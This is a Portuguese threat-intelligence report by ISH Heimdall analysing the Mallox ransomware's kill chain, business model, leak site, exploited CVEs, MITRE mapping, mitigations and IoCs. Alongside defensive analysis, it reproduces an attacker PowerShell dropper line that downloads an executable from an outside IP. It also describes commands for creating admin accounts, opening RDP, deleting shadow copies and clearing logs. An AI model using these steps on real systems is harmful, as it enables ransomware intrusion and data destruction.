W/ . TLP: CLEAR

\ % y F O o
7z 0 L} ’ Y4 ',’/' *
/ . sy Y - \
y N o —
,‘ ~— L o = \ s
/ e A =
W5y e ; o= ®
. & 72
’ ST
N
3 v 4
L

Pesquisa de Ciberseguranca
Cyber Threat Actor

Analise da Kill Chain do Mallox Ransomware

security research



heimdall

security research

Acesse nossa comunidade no WhatsApp, clicando na imagem abaixo!

heimdall

security research

A DIVISION OF ISH

Acesse as analises produzidas pela ISH Tecnologia sobre Taticas,

Técnicas e Procedimentos

(TTPs)

de Threat Actors,

malwares

emergentes, vulnerabilidades criticas e outros temas relevantes em
ciberseguranca. Clique na imagem abaixo para conferir nosso blog.
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Falhas de negacao de servigo (DoS) nao
sao apenas interrupgoes técnicas. Elas
representam riscos reais & continuidade do
negécio, a confianga dos clientes e &
reputacao da marca. Nisto temos a
vulnerabilidade CVE-2023-44487,
conhecida como HTTP/2 Rapid Reset.
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ESTRATEGICO

O cendrio de ransomware manteve-se
ativo em 2024 e se estendeu para este ano
de 2025, com diversos grupos realizando
ataques a uma ampla gama de
organizagoes, setores e com surgimento
de novos grupos. Nesse contexto, temos o

ransomware Babuk2.
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RANSOMWARE AKIRA E SUA
EXPANSAO MULTIPLATAFORMA

0 cendrio de ransomware manteve-se
ativo em 2024 e se estendeu para este ano
de 2025, com diversos grupos realizando
ataques a uma ampla gama de
organizagoes, setores e ganhando
bastante popularidade. Nesse contexto,
temos o ransomware Akira.
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SUMARIO EXECUTIVO: CONHECENDO A AMEACA

Este relatodrio de seguranca, desenvolvido pela equipe de Inteligéncia de Ameacgas
da ISH, Heimdall, tem como objetivo proporcionar uma compreensdo aprofundada e
um dimensionamento preciso das ameacas cibernéticas identificadas. O documento
estd estruturado em trés niveis de abordagem: Estratégico, Tdtico e Operacional,
garantindo uma visdao completa e integrada das ameacas e acdes recomendadas.

ESTRATEGICO

INTRODUGAO SOBRE AMEACA

O Mallox Ransomware — também identificado como TargetCompany,
FARGO, Tohnichi ou XOLLAM — é uma variante ativa desde junho de 2021,
conhecida por explorar servidores Microsoft SQL (MS-SQL) desprotegidos como
vetor de acesso inicial. Pesquisas recentes apontam um crescimento acentuado
das atividades do grupo, com aumento de mais de 174% em incidentes no ultimo
ano conforme relatado pela Unidade 42 da Palo Alto Networks. Esse crescimento
estd ligado a expansao das operacgoes do grupo, incluindo o recrutamento ativo
de afiliados por meio de foruns clandestinos em ambientes de dark web, o que
reforca seu modelo de negécios baseado em RaaS. Os atacantes frequentemente
utilizam scripts automatizados, ferramentas de varredura de rede e realizam
exfiltracao de dados antes da criptografia.

Além de criptografar dados com algoritmos robustos como ChaCha20, o
grupo também adota a pratica de dupla extorsao, ameacando divulgar os dados
exfiltrados das vitimas em sites de vazamento na dark web, caso o pagamento
do resgate ndo seja realizado. Essa abordagem agressiva e altamente lucrativa
torna o Mallox uma ameaca critica para organizagdes de diversos setores,
incluindo governo, servigos juridicos, tecnologia da informacgao, manufatura e
transporte.

Diante desse cenario, o ransomware Mallox representa hoje uma das
ameacas mais ativas e resilientes no panorama cibernético global, exigindo agcdes
coordenadas de prevencao, deteccao e resposta rapida por parte de organizagoes
e equipes de seguranca.
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VITIMOLOGIA DO MALLOX RANSOMWARE

A distribuicao geografica das vitimas do Mallox é global, mas apresenta
maior concentragao em paises como Brasil, Vietna, China, Estados Unidos,
Canada, Reino Unido, Alemanha e Australia. De acordo com dados de
telemetria e fontes abertas de inteligéncia, o Brasil destaca-se na América
Latina como um dos paises mais atingidos. Assim como outros grupos, 0s
operadores do Mallox parecem evitar alvos na antiga Unido Soviética, e ndo ha
registros de ataques a sistemas configurados com idioma russo como padrao.

A atuacao do Mallox expandiu-se rapidamente, especialmente a partir de
2023, com um aumento de aproximadamente 174% nos ataques em
comparacao ao segundo semestre de 2022. Essa intensificagéo coincide com a
transicao do grupo para um modelo mais distribuido de operagao e recrutamento
de afiliados em féruns clandestinos, permitindo a personalizagado de campanhas
conforme o idioma, a regido e o setor das vitimas.

Figura 1 - Paises Vitimas do Mellox Ransomware.

A estratégia de direcionamento do ransomware Mallox tem sido
majoritariamente orientada pelo ganho financeiro, com pedidos de resgate que
variam entre milhares e dezenas de milhares de ddlares. O grupo por tras da
ameaca tende a priorizar organizagdes com receita anual superior a 10 milhoes
de dolares, evidenciando um foco claro em alvos com maior capacidade de
pagamento. Além disso, embora a motivagao central seja financeira, os padrdes
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de ataque sugerem um possivel interesse secundario em espionagem comercial,
dada a escolha de setores estratégicos e sensiveis.

O ransomware Mallox tem demonstrado uma abordagem ampla e oportunista,
atingindo empresas com posturas de seguranca frageis em setores diversos,
incluindo:

e Manufatura;

e Servicos profissionais e juridicos;
e Atacado e varejo;

e Transporte;

e Tecnologia da Informagéo;

o Logistica;

Apesar dessa versatilidade, o grupo evita explicitamente alvos nos setores
de educacao, governo e saude, o que pode indicar tanto consideracgoes éticas
guanto estratégias de evasao de investigagdes mais intensas. A escolha dos
setores-alvo também levanta a hipdtese de que a ameaga possa, em certos
contextos, estar associada a interesses geopoliticos ou de espionagem
industrial.

O impacto das campanhas do Mallox vai além da simples criptografia de
arquivos. Os operadores executam técnicas de dupla extorsao, exfiltrando dados
sensiveis antes da criptografia e ameacando publica-los em sites de vazamento
na dark web caso o resgate ndo seja pago. Esse modelo causa graves
interrupgoes operacionais, danos a reputacao e possiveis implicacdes legais as
vitimas, especialmente em setores regulamentados. A complexidade técnicae a
velocidade de execugao observadas nas amostras analisadas evidenciam uma
ameaca que combina sofisticacao, persisténcia e capacidade de adaptacao as
defesas modernas.
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INCIDENTES ENVOLVENDO O MALLOX RANSOMWARE

Desde sua primeira detec¢cdo em junho de 2021, o ransomware Mallox tem
evoluido significativamente, com uma série de incidentes notaveis que
evidenciam sua crescente sofisticacao e adaptabilidade. Abaixo, destacam-se os
principais marcos e eventos associados a essa ameaca:

Linha do Tempo de Atividades

e Junho de 2021: Emergéncia do Mallox com ataques direcionados a
organizagoes especificas, utilizando extensdes de arquivo personalizadas
como .architek, .avast e .bitenc, indicando uma abordagem adaptada as
vitimas.

e 2022:Transicao para o modelo de Ransomware como Servigo (RaaS), com
a adogao da marca "Mallox" e o inicio de campanhas de multiextorséao,
incluindo a ameaca de vazamento de dados em sites na dark web.

e Julho de 2023: Relato de um aumento significativo (174%) nas atividades
do Mallox em comparacao ao segundo semestre de 2022, destacando sua
crescente ameaca global.

¢ Meados de 2023: Descoberta de uma variante do Mallox para sistemas
Linux, marcando a expansao da ameaca para além do ambiente Windows.

e Novembro de 2024: Ataque de grande repercussao a empresa Blue
Yonder, fornecedora de solucdes de gerenciamento da cadeia de
suprimentos, afetando operacdes de empresas como a Starbucks, que
teve que recorrer a métodos manuais para rastrear horas de trabalho de
funcionarios.

e Dezembro de 2024: Surgimento do grupo de ransomware FunkSec, que
comegou a assumir aresponsabilidade por diversos ataques utilizando o
ransomware Mallox, indicando uma possivel fragmentacao ou rebranding
dentro do ecossistema de ameacas.

Evolucao Técnica e Estratégica

O Mallox demonstrou uma notavel capacidade de adaptacao, expandindo
seu alcance para sistemas Linux e VMware ESXi. Pesquisadores identificaram que
afiliados do Mallox utilizaram uma versao modificada do cédigo-fonte do
ransomware Kryptina para desenvolver variantes voltadas para Linux,
evidenciando a reutilizagcdo e adaptacao de ferramentas existentes no cibercrime.
Além disso, a descoberta de scripts personalizados em Python, como o
web_server.py, indica o desenvolvimento de painéis web para a criagdo e
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gerenciamento de cargas maliciosas, facilitando a operacéao por parte de afiliados
e ampliando o alcance das campanhas.

Impacto e Implicacoes

Os incidentes associados ao Mallox tém causado interrupgdes significativas nas
operacodes das organizagbes afetadas, além de potenciais exposi¢des de dados
sensiveis, isso € demonstrado na imagem abaixo, destacando em azul os dias que
atividades maliciosas foram registradas ou atribuidas ao grupo. De 2020 para 2022, a
ameaca estava em uma atividade continua durante alguns meses, ao longo dos anos foi
reduzindo gradativamente até o meio de 2023. De 2024 para inicio de 2025 ele se mantém
ativo e constante.
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Figura 2- Incidentes envolvendo o Mallox ransomware desde 2020.
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TATICO

MODELO DE NEGOCIO DA AMEAGA

O modelo de negdécio do ransomware Mallox é estruturado sob o
paradigma de Ransomware como Servi¢o (RaaS), permitindo que operadores
centrais desenvolvam e mantenham a infraestrutura do malware, enquanto
afiliados realizam os ataques. Essa abordagem descentralizada amplia o alcance
das operagdes maliciosas e dificulta a atribuicdo direta dos responsaveis.

Desde sua transicao para o modelo RaaS em 2022, o Mallox tem recrutado
afiliados por meio de féruns clandestinos, como Nulled e RAMP, oferecendo
acesso ao ransomware em troca de uma porcentagem dos lucros obtidos com os
resgates pagos pelas vitimas. Essa estratégia permite que individuos com
diferentes niveis de habilidade técnica participem das operacdes, aumentando a
frequéncia e a diversidade dos ataques. O Mallox emprega uma estratégia de
dupla extorsao, onde os dados das vitimas sao exfiltrados antes da criptografia.
Caso o resgate ndo seja pago, os operadores ameagam divulgar as informagodes
roubadas em um site dedicado na dark web, aumentando a pressao sobre as
vitimas para que efetuem o pagamento.

O Mallox tem demonstrado uma capacidade significativa de adaptacgao,
com atualizagdes frequentes que incluem melhorias nos algoritmos de
criptografia e na eficacia das técnicas de evasao. Essa evolugao continua torna o
ransomware uma ameaca persistente e desafiadora para as defesas cibernéticas
tradicionais. O modelo de negécio do Mallox, baseado em RaaS e dupla extorséo,
representa uma ameaca significativa no cenario de segurancga cibernética atual.
Sua estrutura descentralizada, combinada com técnicas avancadas de ataque e
uma infraestrutura robusta para vazamento de dados, exige uma abordagem
proativa e multifacetada por parte das organizagdes para mitigar os riscos
associados.
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INFRAESTRUTURA DE VAZAMENTO

Uma das caracteristicas mais marcantes da operacao do ransomware
Mallox é o uso de um Dedicated Leak Site (DLS) na dark web, hospedado em um
enderego .onion acessivel por meio do navegador Tor. Esse site funciona como
uma plataforma de pressao psicoldgica e operacional sobre as vitimas,
reforcando o modelo de dupla extorsdo adotado pelo grupo. O site do Mallox é
semelhante ao de outros grupos RaaS, apresentando uma estética limpa e focada
em demonstrar profissionalismo. Ele contém paginas de navegagao dedicadas
para:

e Lista devitimas;

e Contato com operadores;

e Provas publicas de dados;

e Painelde administrac&o (restrito).

Mallox Data Leaks

mn N

[+ ]
Versatile Card Technology Private Limited DUHOCAAU
& - [
Measuresoft Kirkholm Maskiningenierer

Figura 3 - Site Tor do Ransomware Mallox.

O site do Mallox na dark web apresenta uma interface que lista as vitimas
que nao pagaram o resgate exigido apds a criptografia de seus arquivos. Cada
entrada de vitima normalmente inclui:

e Nome da organizagéo;

e Pais ou regido;
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e Volume estimado de dados roubados;

e Contador regressivo para a publicagcdo completa;

e Links diretos para os arquivos exfiltrados (quando o prazo se encerra);
e Provas dos dados (ex: planilhas, e-mails, documentos financeiros).

Essa estrutura tem o objetivo de forcar as vitimas a pagar o resgate antes que seus
dados sejam totalmente expostos, usando a ameaca de vazamento publico como
mecanismo de coergao.

CADEIA DE ATAQUE DA AMEACA

O ransomware Mallox adota uma cadeia de ataque sofisticada e
estruturada em multiplas fases, combinando diversas técnicas para obter acesso,
garantir persisténcia e, por fim, criptografar os dados das vitimas, permitindo que
afiliados conduzam ataques com autonomia e variabilidade nos métodos de
infeccao. Os afiliados tém liberdade para escolher suas taticas de
comprometimento, e campanhas observadas até o momento envolveram desde
envio de e-mails com anexos maliciosos (spam) até exploragao de
vulnerabilidades especificas, como no caso de uma campanha na China, em que
foi utilizada uma falha no software IP-Guard para obter acesso inicial.

A da Kaspersky (KSN) indicou que uma das formas
mais comuns de infecgdo do Mallox envolve a invasao de servidores MS-SQL ou
PostgreSQL expostos a internet. Os atacantes geralmente exploram
vulnerabilidades conhecidas de execucao remota de cédigo (RCE) — como as
CVE-2019-1068 e CVE-2020-0618 — em servidores desatualizados, ou langcam
ataques de forga bruta/dicionério para descobrir credenciais validas.

INITIAL ACCESS & EXECUTION — IMPLANTAGAO DE PAYLOAD

O acesso inicial em campanhas do ransomware Mallox ocorre
principalmente por meio da exploracao de servicos vulneraveis e expostos
publicamente, com énfase em instancias MS-SQL (Microsoft SQL Server) e
conexdes ODBC (Open Database Connectivity) mal configuradas. Os
operadores do Mallox exploram vulnerabilidades conhecidas de execugao remota
de cddigo (RCE), com destaque para falhas antigas nao corrigidas como:

e CVE-2019-1068 - Execugao remota no Microsoft SQL Server;

e CVE-2020-0618 - Vulnerabilidade no SQL Server Reporting Services.
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Além das falhas técnicas, o grupo também utiliza ataques de forca bruta e
dicionario para comprometer servidores com credenciais fracas ou
configuracdes inseguras expostas a internet. Em diversos casos recentes, a
entrada inicial foi realizada através da quebra de autenticacao em servicos MS-
SQL, seguida do uso de scripts personalizados em PowerShell.

Durante a intruséo, os afiliados do Mallox comumente utilizam scripts
PowerShell codificados em base64 executados com o pardmetro -
EncodedCommand, contornando restricdes com a politica de execugao
(ExecutionPolicy Bypass). Esses scripts sdo utilizados como droppers para
carregar a carga maliciosa do ransomware, geralmente armazenada em diretdrios
como AppData da conta de servico SQL. Um exemplo observado foi o script
"alta.ps1".

| alta - Notepad

File Edit Format View Help

$cl = New-Object System.MNet.WebClient
$cl.DownloadFile("http://34.197.32.16/scavenger.exe”, "(: \User‘s‘-._\ﬂppData\._Roamirxg\box. bat™) ]

Figura 4 - Script "alta.ps1"

Apds o drop da amostra, o ransomware é executado na maquina-alvo utilizando a
Instrumentacao de Gerenciamento do Windows (WMI), permitindo a criagdo de
novos processos sem levantar alertas imediatos.

A fase de entrega também pode envolver:

e T1105-Ingress Tool Transfer: download da carga maliciosa diretamente
na memoria ou disco, dependendo do nivel de controle de rede e endpoint
detectado.

e T1059.001- Command and Scripting Interpreter: PowerShell: execucao
de comandos remotos e scripts com codificagcdo em base64, garantindo
evasao e flexibilidade na entrega.

e T1047 - Windows Management Instrumentation: ativagado do payload a
partir de processos legitimos do Windows, dificultando a deteccgao.

Em campanhas complementares, os afiliados do Mallox também foram
observados utilizando phishing via e-mail como vetor secundario, incorporando
ferramentas como Cobalt Strike e Sliver apds o acesso inicial, para
reconhecimento interno e movimentacao lateral.
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DISCOVERY & PERSISTENCE — CRIACAO DE CONTA LOCAL

Discovery & Persistence - Create Local Account

Figura 5 - Discovery & Persistence

Nesta fase, o Mallox executa atividades de reconhecimento e estabelece
persisténcia no ambiente comprometido. A cadeia de acdes se iniciacom a
execucao de um script batch (.BAT), responsavel por coletar informacdes do
sistema e da rede, além de criar uma nova conta de usuario local. Essa conta é,
em seguida, adicionada automaticamente aos grupos “Administrators” e
“Remote Desktop Users”, garantindo privilégios elevados e acesso remoto
continuo ao sistema.

Além disso, foi observada a instalacéo do software legitimo AnyDesk,
imediatamente apds o comprometimento inicial do servidor web. Essa técnica,
semelhante a usada por grupos como o ransomware Akira, permite ao atacante
estabelecer uma backdoor persistente utilizando ferramentas legitimas,
dificultando a detecc¢ao por solugdes tradicionais de seguranga. O uso do
AnyDesk oferece uma forma pratica de controlar o sistema remotamente, sem a
necessidade de deixar tragos diretos de malware ativo.

e T1082- System Information Discovery
Execugao do comando systeminfo para coletar informacdes detalhadas
sobre o sistema comprometido, como versao do sistema operacional,
arquitetura e tempo de atividade.

e T1016 - System Network Configuration Discovery
Utilizacdo de comandos como route, ipconfig, nltest, net e arp para obter
dados sobre a configuracao de rede, rotas, interfaces e dominio.

e T1136.001-Create Account: Local Account
Criagdo de uma nova conta de usuario local utilizando o comando net user,
com credenciais definidas diretamente pelo script malicioso.

e T1098 - Account Manipulation: Administrators Group
Adicao da conta recém-criada ao grupo de administradores locais por meio
do comando net localgroup Administrators.
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e T1098 - Account Manipulation: Remote Desktop Users Group
Inclusédo da conta no grupo “Remote Desktop Users” usando o comando
net localgroup, habilitando o acesso via RDP.

DEFENSE EVASION & LATERAL MOVEMENT — HABILITAGAO DE
CONEXOES RDP

Defense Evasion & Lateral Movement - Enable Remote Connections

Use Registry to Disable Security Permitir Senhas em Branco Liberagdo de RDP no Firewall

Features: Enable Remote Desktop Movinentagdo Lateral via RDP

* Disable Limit Blank Password Use via * Modify System Firewall: Enable Remote
« Técnica MITRE: T1021. Registry Desktop
+ Alterages no registro do ows * Grupo associade: Hallox + Grupo associado: AA23-136A

+ Lateral Movement Through Remote
Desktop Protocol

e - . ) . - ? . + Grupo associado: AAZ3-352A
para desabilitar control + Modificacdo do registro para permitir * Regras de firewall sio modificadas P

seguranga e permitir exd . logins remotos mesmo guando a senha para permitir trifego de RDP (porta
da conta estiver em branco. 3389),

- Uso do protocolo RDP para se mover

lateralmente entre sistemas na rede
comprometida.

Figura 6 - Defense Evasion & Lateral Movement

Nesta fase, 0 agente de ameaca do Mallox realiza ajustes no sistema para
habilitar conexdes via Remote Desktop Protocol (RDP) e, com isso, facilitar a
movimentacgéo lateral dentro da rede comprometida. O processo se iniciacom a
modificagao de chaves do Registro do Windows relacionadas ao Terminal
Services e a politica de senhas em branco. Em seguida, o agente cria uma regra
personalizada no firewall utilizando o utilitario netsh, permitindo o trafego na
porta 3389/TCP, usada pelo RDP. Com o ambiente preparado, o proximo passo é
iniciar a movimentacao lateral para outras maquinas na rede via RDP.

Durante a analise, foi identificada a criagcdo de uma conta chamada
SystemUlI, aparentemente automatizada por um script nomeado system.bat. O
script, que foi “deixado para tras” pelo atacante, possuia um comentario final
curioso: "REMOVA ESTE ARQUIVO", evidenciando a intencao de ocultar vestigios
da atividade maliciosa, mas indicando falhas operacionais do invasor.

Esta fase pode envolver:

e T1562.007 - Impair Defenses: Disable or Modify Tools:
Modificacao da chave de registro:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal
Services\fDenyTSConnections para 0, habilitando conexées RDP no
sistema.

e T1562-Impair Defenses: Disable or Modify Tools:

Desativacao da politica que impede o uso de senhas em branco, via
alteracao da chave de registro:
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HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LimitBlankPasswordUse
para 0.

e T1562.001 - Impair Defenses: Disable or Modify Tools:
Criacado de uma nova regra no firewall do sistema operacional com netsh,
permitindo conexdes RDP na porta 3389.

e T71021.001 - Remote Services: Remote Desktop Protocol:
Tentativa de movimentacao lateral usando RDP para acessar sistemas
vizinhos na rede.

DISCOVERY & EXFILTRATION — RECONHECIMENTO DO SISTEMA
LOCAL

|
Discovery & Exfiltration - Local System Reconnaissance

Coleta de Informagies do Sistema Descoberta do Nome do Computador Verificagio de Regido do Usudrio Exfiltragio de Dados

» Systen Information Discovery via

* Computer Name Discovery via *+ Get User Default Country Locale Code + Exfiltrate Text File Containing
GetComputerNameA Native APT via GetLocaleInfok Windous System Profiling Data
* Grupo associado: Discovery « Técnica MITRE: T1614,001 + Tatica: Exfiltration

Getha
-« Grupo
+ 0 agente coleta d ~
+ Tdentifica o nowe do host da maquina « Recupera o cédigo regional do sistema + Arquivo de texto contendo informacdes

conprometida. (localidade do usudrio). do sistema & extraido da maquina.

Figura 7 - Discovery & Exfiltration

Nesta fase, o ransomware Mallox realiza atividades de reconhecimento
local do sistema com o objetivo de coletar informacoes detalhadas sobre o
ambiente comprometido, como nome da maquina, arquitetura, localizagcao
geografica e indicios de execugdo em ambientes de analise (sandbox/debugger).
Essas acdes sdo realizadas por meio de chamadas diretas a APl do Windows, o
que permite executar os comandos de forma discreta e eficiente.

Apés a coleta dos dados, um arquivo de texto contendo os resultados dos
comandos de descoberta é criado e, posteriormente, exfiltrado por meio de uma
requisicao HTTP POST para um servidor remoto controlado pelos operadores da
ameacga. Esse trafego néo utiliza canais de comando e controle tradicionais, o que
dificulta a deteccéao por solugdes de seguranca.

Além disso, foi observado o uso da ferramenta Mimikatz para a extragcao de
credenciais no servidor inicialmente comprometido. Com essas credenciais, o
agente de ameaca conseguiu acesso privilegiado ao dominio, elevando
significativamente o impacto do ataque. O uso do netscan.exe — uma ferramenta
legitima de varredura de rede da SoftPerfect — foi outro elemento importante,
utilizado para mapear o ambiente. Aversdo 6.2.1.0 foi empregada com o nome
modificado para netscanold.exe, visando dificultar sua identificagao.
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Esta fase pode envolver:

e T1497 - Virtualization/Sandbox Evasion:
Uso da funcéao IsDebuggerPresent da APl do Windows para verificar se o
processo atual esta sendo executado em um ambiente de analise ou
depuracdo, como sandboxes.

e T1082- System Information Discovery:
Chamada da fungao GetNativeSystemlInfo para coletar dados sobre o
sistema operacional, arquitetura e hardware da maquina.

e T1614 - System Location Discovery:
Execugao da funcao GetLocalelnfoA para identificar o cédigo de
localizagéo regional configurado no sistema da vitima, permitindo ao
malware evitar alvos especificos, como paises da CEl (Comunidade dos
Estados Independentes).

e T1048.003 - Exfiltration Over Alternative Protocol: Unencrypted Non-C2
Protocol:
Exfiltracdo de um arquivo de texto contendo as informacdes coletadas,
utilizando uma requisicdo HTTP POST para um servidor remoto. O uso de
um protocolo nao criptografado e fora dos canais C2 tradicionais visa
dificultar a detecgao do trafego malicioso.

IMPACTO — CRIPTOGRAFIA DO MALLOX RANSOMWARE

Limpeza de Logs Coleta e Criptografia de Arquivos

- Clear Windows Event Log via - Collect And Encrypt Files

wevtutil.exe + Anotagao adicional: Starting Path for
* Grupo associado: AA23-352A File Encryption Scenarios
+ 0 comando wevtutil ¢l & utilizado « Inicio do processo de criptografia dos
para apagar os logs de eventos do arquivos da vitima. O ransomware
inpedindo a restauragdo arquivos Windows, dificultando a resposta a percorre diretérios predefinidos para
pelo sistema. incidentes e a analise forense. localizar e criptografar dados.

_—’

Figura 8 - Impacto - Criptografia do Mallox Ransomware

A fase de impacto do ransomware Mallox € marcada por uma sequéncia de agdes
gque visam maximizar os danos e dificultar a recuperacao dos dados pela vitima.
O processo é cuidadosamente elaborado para eliminar rastros, impedir
restauracao do sistema e iniciar a criptografia massiva de arquivos.
Inicialmente, o ransomware remove as Coépias de Sombra de Volume (VSS)
usando o utilitario legitimo vssadmin.exe, anulando tentativas de recuperagao via
pontos de restauragao do sistema. Em seguida, sdo apagados os logs de eventos
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do Windows com o comando wevtutil.exe, ocultando as atividades realizadas
durante o ataque. Por fim, os arquivos da vitima sao identificados e
criptografados localmente com base em uma lista de extensées predefinidas,
usando algoritmos semelhantes aos de outras familias de ransomware.

Durante a analise do incidente, foi observado o uso do software FileZilla, uma
ferramenta legitima de FTP/SFTP, para exfiltrar dados antes da criptografia,
fortalecendo o modelo de dupla extorsao.

Ainvestigacdo de duas amostras nomeadas ozon.exe e net [CUSTOMER_ID].exe
revelou comportamento padronizado no pré-criptografia, com as seguintes
etapas:

¢ Desativacdo de recursos de recuperagao do sistema com bcdedit.

e \Verificagdo da localizagao e idioma do sistema. Caso seja identificado
como Russia ou regiao préxima, o processo € interrompido.

e Alteracao do plano de energia do Windows para "Desempenho Maximo",
otimizando os recursos para a tarefa de criptografia.

o Realizacao de uma requisicdao DNS para verificar conectividade com a
internet.

e Enviode umarequisicao HTTP POST para o servidor C2, contendo dados
sobre o sistema e o ID da vitima, que também aparece no nome do
executavel e na nota de resgate.

Esta fase pode envolver:

e T1490 - Inhibit System Recovery: Este cenario executa
o vssadmin.exeutilitario para excluir uma cépia de sombra de volume
recente criada pelo modelo de avaliacao.

e T1070.001 - Indicator Removal: Clear Windows Event Logs: O cenario
usara o wevtutil.exebinario para limpar logs de eventos do sistema.

e T1486 - Data Encrypted for Impact: Este cenario executa as rotinas de
criptografia de arquivos usadas por familias comuns de ransomware.
Arquivos que correspondem a uma lista de extensdes sdo identificados e
criptografados no local usando algoritmos de criptografia semelhantes.
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TABELA MITRE ATT&CK

Este topico apresenta as T7Ps identificadas nesta ameacga, conforme o
framework MITRE ATT&CK, oferecendo uma visdo tatica detalhada sobre o
comportamento do adversario. O objetivo é permitir o mapeamento das técnicas
utilizadas pelos atacantes, facilitando a implementagao de contramedidas
eficazes e o aprimoramento das defesas de seguranca.

Detalhes

T1078 — Valid Accounts

T1566 — Phishing

Initial Access

Persistence

Privilege
Escalation

T1059.001 — PowerShell

T1136.001 — Create
Account: Local Account

T1547.001 — Registry Run Keys /
Startup Folder

T1070.001 — Clear Windows
Event Logs

Defense

Evasion T1562.001 — Impair Defenses:

Modify Tools

T1027 — Obfuscated Files or
Information

ciz k] T1003.001 — LSASS Memory

Access

T1082 — System Information
Discovery

T1016 — System Network
Configuration Discovery

Discovery

T1497 — Virtualization/Sandbox
Evasion

T1497 — Virtualization/Sandbox
Evasion

heimdall
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API
T1614 — System Location Discovery

Uso de credenciais obtidas via forga bruta
ou phishing para acesso a servidores MS-
SQL expostos.

E-mails maliciosos com anexos ou links
levando a scripts PowerShell ou
executdveis para obter acesso inicial.

Execugao de payloads por scripts
PowerShell com
Bypass.

Criagdo de contas locais para persisténcia,
adicionadas a grupos como
“Administrators” e “Remote Desktop
Users”.

Insergao de entradas no registro para
garantir execucdo persistente apods
reinicializagao.

Uso do para apagar logs e

dificultar investigacdes forenses.

Modificagdo de chaves de registro
(
) e regras de
firewall para liberar RDP.

Scripts e bindrios ofuscados para evitar
deteccgdo por antivirus.

Uso do Mimikatz para extragao de
credenciais da memoria do sistema
(incluindo acesso a dominio).

Uso da API
comandos como

Comandos , route e
ferramentas como para mapear o
ambiente de rede.
para identificar regido
e evitar alvos em paises da CEI.

API para detectar

ambientes de analise (sandbox/debugger).
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Detalhes

Acesso lateral via RDP apds habilitagdo do
Lateral T1021.001 — Remote Desktop . L . N
servico, criacdo de conta local e liberacao
Movement Protocol .
de firewall.
Envio de dados via requisicdes HTTP POST
Command & T1041 — Exfiltration Over C2 contendo informacgdes do sistema e ID da
Control Channel vitima para servidor controlado pelos
operadores.

Exfiltracdo de arquivos de texto com dados
T1048.003 — Exfiltration Over do sistema coletados durante a fase de
Unencrypted Non-C2 Protocol reconhecimento, usando HTTP sem

criptografia.

Criptografia de arquivos com base em
T1486 — Data Encrypted for Impact extensdes predefinidas, usando algoritmos

robustos como ChaCha20.

- T1490 — Inhibit System Recovery Exclusao de\fizplas de Sombra de Volume

Tabela 1 - MITRE ATT&CK TTPs

@ Pagina 21|27

heimd

ty




) heimdall

security research

VULNERABILIDADES EXPLORADAS PELA AMEACA

No momento da elaboracao deste relatério, foi identificado que os
operadores e afiliados do ransomware Mallox vém explorando ativamente
vulnerabilidades conhecidas em servidores Microsoft SQL e outros softwares
amplamente utilizados em ambientes corporativos. Essas exploragdes séo
empregadas para obter acesso inicial aos sistemas e, em muitos casos,
implantar scripts e ferramentas que facilitam o movimento lateral, exfiltracao
de dados e execucgéao da carga maliciosa de criptografia.

A escolha por falhas publicas e frequentemente negligenciadas revela um
padrao de atuacao oportunista, porém estratégico, voltado para sistemas
desatualizados ou mal configurados. Isso reforca a importancia de manter uma
postura proativa de seguranga, incluindo aplicagao continua de patches,
monitoramento de servigos expostos e redugao da superficie de ataque.

Vulnerability

Product

Type

CVE-2019-1068

Microsoft SQL Server

Execucdo Remota de Cddigo

(RCE)
CVE-2020-0618 Microsoft sQL Se':rver Execucdao Remota de Cddigo
Reporting Services (RCE)

CVE-2021-31206

Microsoft Exchange
Server

Arbitrary File Write

CVE-2021-34473

Microsoft Exchange
Server

Pre-auth Path Confusion leading
to RCE

CVE-2021-34523

Microsoft Exchange
Server

Privilege Escalation

CVE-2022-41040

Microsoft Exchange
Server (ProxyNotShell)

Server-Side Request Forgery
(SSRF)

CVE-2022-41082

Microsoft Exchange
Server (ProxyNotShell)

RCE via PowerShell

Tabela 2 - Vulnerabilidades exploradas pelos operadores do ransomware em seus ataques.
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RECOMENDAGCOES

Além da atencao aos Indicadores de Comprometimento (loCs) descritos
neste relatdrio, é essencial adotar medidas proativas para mitigar o risco de
infeccao pelo ransomware Mallox e suas variantes. As seguintes recomendacoes
visam fortalecer a postura defensiva das organizagdes contra campanhas ativas
de ransomware que exploram vulnerabilidades em servidores, credenciais fracas
e configuracdes indevidas:

6.1 MANTENHA SISTEMAS E SOFTWARES ATUALIZADOS

e Aplique patches de seguranca regularmente, especialmente em servidores
Microsoft SQL, Exchange Server, e softwares de terceiros amplamente
explorados.

e Corrijavulnerabilidades como CVE-2019-1068 e CVE-2020-0618,
comumente exploradas pelo Mallox.

6.2 Implemente solucoes de seguranca confiaveis

o Utilize EDR, antivirus corporativo e firewall de préoxima geragao com
capacidades de detecgcao de comportamento anémalo.

e Bloqueie a execucgao de scripts maliciosos via GPO e restrinja o uso de
ferramentas como PowerShell e WMI.

6.3 Realize backups regulares

¢ Mantenha backups criptografados e offline, testados periodicamente,
com versodes histdricas armazenadas em ambientes isolados.

o Verifique se os backups nao estao acessiveis diretamente a partir de
contas administrativas comuns.

6.4 Monitore e analise atividades da rede

¢ Implemente solucoes de SIEM, NDR e analise de logs com regras
especificas para detectar movimentacao lateral, exfiltracdo e execucéo via
PowerShell.

¢ Monitore atividades incomuns, como uso de vssadmin, wevtutil, ou
alteragdes no registro (regedit).
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INDICADORES DE COMPROMETIMENTO

A ISH Tecnhologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranga Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Comprometimento (loCs) relacionadas a analise
do(s) artefato(s) deste relatorio.

Indicadores do artefato

ad938c8aa558ff9a2332ac6a3e24705a
4ff0e55a42bfe34e27f33cbdc4cdf3fbccd793ba
€292806b534bcc2fd2d965b17dafc502blaed3eb2882edb3c60dd20d2fd5da7a

File name: Win32 EXE, 2025-05-07_ad938c8aa558ff9a2332ac6a3e24705a_black-basta_cobalt-
strike

Indicadores do artefato

File name

Indicadores do artefato

ba59e1d90d8ff1763e9afbb627553d81
f363fbb01db5efe8f8dad5bclbf74a9e403a8e93
5eeeld167dfc901714cf007a5d2cbabc05e9078b39914adcab0e7ee3fc52535¢

2025-04-24_ba59e1d90d8ff1763e9afbb627553d81_black-basta_cobalt-strike

Indicadores do artefato

[mdS: | 3a5be9663e8f105cf77cad03bb0671da
[shal: | d626e264dc2fe8be3c75e36d892e39e46dceb6f0

